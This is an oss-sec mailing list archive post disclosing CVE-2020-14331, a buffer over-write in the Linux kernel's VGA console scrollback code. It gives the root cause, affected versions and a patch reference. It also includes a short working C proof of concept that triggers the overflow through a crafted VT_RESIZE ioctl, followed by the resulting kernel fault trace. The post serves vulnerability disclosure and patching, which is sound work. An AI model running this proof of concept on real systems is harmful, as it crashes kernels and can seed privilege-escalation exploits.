[CVE-2020-14331] Linux Kernel: buffer over write in vgacon_scrollback_update

Related Vulnerabilities: CVE-2020-14331  
                							

                <!--X-Body-Begin-->
<!--X-User-Header-->

oss-sec
mailing list archives
<!--X-User-Header-End-->
<!--X-TopPNI-->

By Date

By Thread

</form>

<!--X-TopPNI-End-->
<!--X-MsgBody-->
<!--X-Subject-Header-Begin-->
[CVE-2020-14331] Linux Kernel: buffer over write in vgacon_scrollback_update

<!--X-Subject-Header-End-->
<!--X-Head-of-Message-->

From: 张云海 &lt;zhangyunhai () nsfocus com&gt;

Date: Tue, 28 Jul 2020 11:16:55 +0800

<!--X-Head-of-Message-End-->
<!--X-Head-Body-Sep-Begin-->

<!--X-Head-Body-Sep-End-->
<!--X-Body-of-Message-->
There is a buffer over write in drivers/video/console/vgacon.c in
vgacon_scrollback_update.

The issue is reported by Yunhai Zhang / NSFOCUS Security Team
&lt;zhangyunhai () nsfocus com&gt;, CVE-2020-14331 assigned via Red Hat.

# Affected Versions
The issue is found and tested on 5.7.0-rc6.
The issue is introduced in commit:
15bdab959c9bb909c0317480dd9b35748a8f7887 ([PATCH] vgacon: Add support
for soft scrollback)
According to code review, all versions older than
92ed301919932f777713b9172e525674157e983d (v5.8-rc7) are affected.

# Root Cause
In vgacon_scrollback_update, there is a memcpy without enough bound check:
                scr_memcpyw(vgacon_scrollback_cur-&gt;data +
                            vgacon_scrollback_cur-&gt;tail,
                            p, c-&gt;vc_size_row);
Here vgacon_scrollback_cur-&gt;data is a buffer of size
vgacon_scrollback_cur-&gt;size which is a multiple of c-&gt;vc_size_row,
vgacon_scrollback_cur-&gt;tail increase c-&gt;vc_size_row each time and reset
to zero when exceed vgacon_scrollback_cur-&gt;size. Thus, the copy does not
seem to overflow. However, c-&gt;vc_size_row can be reset by calling
ioctl(VT_RESIZE), and a crafted new c-&gt;vc_size_row can cause the copy to
overflow.

# PoC
To trigger the overflow, CONFIG_VGACON_SOFT_SCROLLBACK should be set in
.config, and vgacon should be selected as the current console.

        #include &lt;stdio.h&gt;
        #include &lt;stdlib.h&gt;
        #include &lt;unistd.h&gt;
        #include &lt;sys/types.h&gt;
        #include &lt;sys/stat.h&gt;
        #include &lt;sys/ioctl.h&gt;
        #include &lt;fcntl.h&gt;

        int main(int argc, char** argv)
        {
                int fd = open(argv[1], O_RDWR, 0);
                
                unsigned short size[3] = {8, 1859, 0};
                ioctl(fd, 0x5609, size); // VT_RESIZE

                for (int i = 0; i &lt; 18; i++) {
                        write(fd, "\x0a", 1);
                }
        }

GPF in dmesg:
        [   65.025031] general protection fault, probably for non-canonical
address 0x720072007200720: 0000 [#1] SMP PTI
        [   65.045029] CPU: 0 PID: 1054 Comm: ls Not tainted 5.7.0-rc6 #1
        [   65.063110] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),
BIOS 1.13.0-1ubuntu1 04/01/2014
        [   65.082886] RIP: 0010:rb_next+0x14/0x50
        [   65.104442] Code: 89 d8 e9 27 ff ff ff 48 c7 07 01 00 00 00 c3 0f 1f
80 00 00 00 00 48 8b 17 48 39 d7 74 35 48 8b 47 08 48 85 c0 74 1c 49 89
c0 &lt;48&gt; 8b 40 10 48 85 c0 75 f4 4c 89 c0 c3 48 3b 78 08 75 f6 48 8b 10
        [   65.125863] RSP: 0018:ffffc9000076fe08 EFLAGS: 00010202
        [   65.143457] RAX: 0720072007200720 RBX: ffffc9000076fec0 RCX:
000055f3dd2e0625
        [   65.163220] RDX: ffff88807d570f89 RSI: 0000000000007562 RDI:
ffff88807d570748
        [   65.181504] RBP: ffffc9000076fe38 R08: 0720072007200720 R09:
00007ffffffff000
        [   65.199761] R10: 000055f3dd2e05f8 R11: 0000000000000000 R12:
ffff88807d5706c0
        [   65.218000] R13: ffff88807d5706c0 R14: 0000000000000001 R15:
ffffffff8130bc30
        [   65.239453] FS:  00007fb1f812e400(0000) GS:ffff88807dc00000(0000)
knlGS:0000000000000000
        [   65.258165] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
        [   65.275872] CR2: 000055f3dd2e85b8 CR3: 000000005b992000 CR4:
00000000000006f0
        [   65.294578] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
        [   65.313018] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:
0000000000000400
        [   65.330906] Call Trace:
        [   65.349469]  ? proc_readdir_de+0x1bf/0x240
        [   65.366671]  proc_readdir+0x16/0x20
        [   65.383948]  proc_root_readdir+0x22/0x40
        [   65.401034]  iterate_dir+0x9e/0x1b0
        [   65.417970]  ksys_getdents64+0x9c/0x140
        [   65.435156]  ? filldir+0x190/0x190
        [   65.455622]  __x64_sys_getdents64+0x1a/0x20
        [   65.472988]  do_syscall_64+0x57/0x1b0
        [   65.489894]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
        [   65.507195] RIP: 0033:0x7fb1f82c92ab
        [   65.524244] Code: 0f 1e fa 48 8b 47 20 c3 0f 1f 80 00 00 00 00 f3 0f
1e fa 48 81 fa ff ff ff 7f b8 ff ff ff 7f 48 0f 47 d0 b8 d9 00 00 00 0f
05 &lt;48&gt; 3d 00 f0 ff ff 77 05 c3 0f 1f 40 00 48 8b 15 b1 9b 10 00 f7 d8
        [   65.549391] RSP: 002b:00007ffc67f69048 EFLAGS: 00000293 ORIG_RAX:
00000000000000d9
        [   65.569099] RAX: ffffffffffffffda RBX: 000055f3dd2e05b0 RCX:
00007fb1f82c92ab
        [   65.592219] RDX: 0000000000008000 RSI: 000055f3dd2e05b0 RDI:
0000000000000003
        [   65.610551] RBP: fffffffffffffe98 R08: 0000000000000030 R09:
000000000000007c
        [   65.630375] R10: 0000000000000000 R11: 0000000000000293 R12:
000055f3dd2e0584
        [   65.650886] R13: 0000000000000000 R14: 000055f3dd2e0580 R15:
000055f3db6c27fe
        [   65.669554] Modules linked in: nls_iso8859_1 drm_vram_helper
drm_ttm_helper ttm drm_kms_helper cec fb_sys_fops joydev syscopyarea
input_leds sysfillrect serio_raw sysimgblt mac_hid qemu_fw_cfg
sch_fq_codel drm parport_pc ppdev lp parport ip_tables x_tables autofs4
hid_generic usbhid hid psmouse e1000 i2c_piix4 pata_acpi floppy
        [   65.693633] ---[ end trace d08af5ec396bea6d ]---
        [   65.711185] RIP: 0010:rb_next+0x14/0x50
        [   65.731940] Code: 89 d8 e9 27 ff ff ff 48 c7 07 01 00 00 00 c3 0f 1f
80 00 00 00 00 48 8b 17 48 39 d7 74 35 48 8b 47 08 48 85 c0 74 1c 49 89
c0 &lt;48&gt; 8b 40 10 48 85 c0 75 f4 4c 89 c0 c3 48 3b 78 08 75 f6 48 8b 10
        [   65.753937] RSP: 0018:ffffc9000076fe08 EFLAGS: 00010202
        [   65.775013] RAX: 0720072007200720 RBX: ffffc9000076fec0 RCX:
000055f3dd2e0625
        [   65.792795] RDX: ffff88807d570f89 RSI: 0000000000007562 RDI:
ffff88807d570748
        [   65.810378] RBP: ffffc9000076fe38 R08: 0720072007200720 R09:
00007ffffffff000
        [   65.828354] R10: 000055f3dd2e05f8 R11: 0000000000000000 R12:
ffff88807d5706c0
        [   65.846504] R13: ffff88807d5706c0 R14: 0000000000000001 R15:
ffffffff8130bc30
        [   65.865418] FS:  00007fb1f812e400(0000) GS:ffff88807dc00000(0000)
knlGS:0000000000000000
        [   65.883079] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
        [   65.903615] CR2: 000055f3dd2e85b8 CR3: 000000005b992000 CR4:
00000000000006f0
        [   65.924849] DR0: 0000000000000000 DR1: 0000000000000000 DR2:
0000000000000000
        [   65.942933] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7:
0000000000000400

# Patch
Linus has rewrite the whole function.
However, I provide a one-line-fix patch here to make it easier to
backport to older stable kernels.

Regards,
Yunhai Zhang / NSFOCUS Security Team
Attachment:
0001-Fix-for-missing-check-in-vgacon-scrollback-handling.patch
Description: 

<!--X-Body-of-Message-End-->
<!--X-MsgBody-End-->
<!--X-Follow-Ups-->

<!--X-Follow-Ups-End-->
<!--X-References-->
<!--X-References-End-->
<!--X-BotPNI-->

By Date

By Thread

Current thread:

[CVE-2020-14331] Linux Kernel: buffer over write in vgacon_scrollback_update 张云海 (Jul 28)

Re: [CVE-2020-14331] Linux Kernel: buffer over write in vgacon_scrollback_update Eric Biggers (Jul 28)

Re: [CVE-2020-14331] Linux Kernel: buffer over write in vgacon_scrollback_update Solar Designer (Jul 29)

Re: [CVE-2020-14331] Linux Kernel: buffer over write in vgacon_scrollback_update 张云海 (Jul 30)

<!--X-BotPNI-End-->
<!--X-User-Footer-->
<!--X-User-Footer-End-->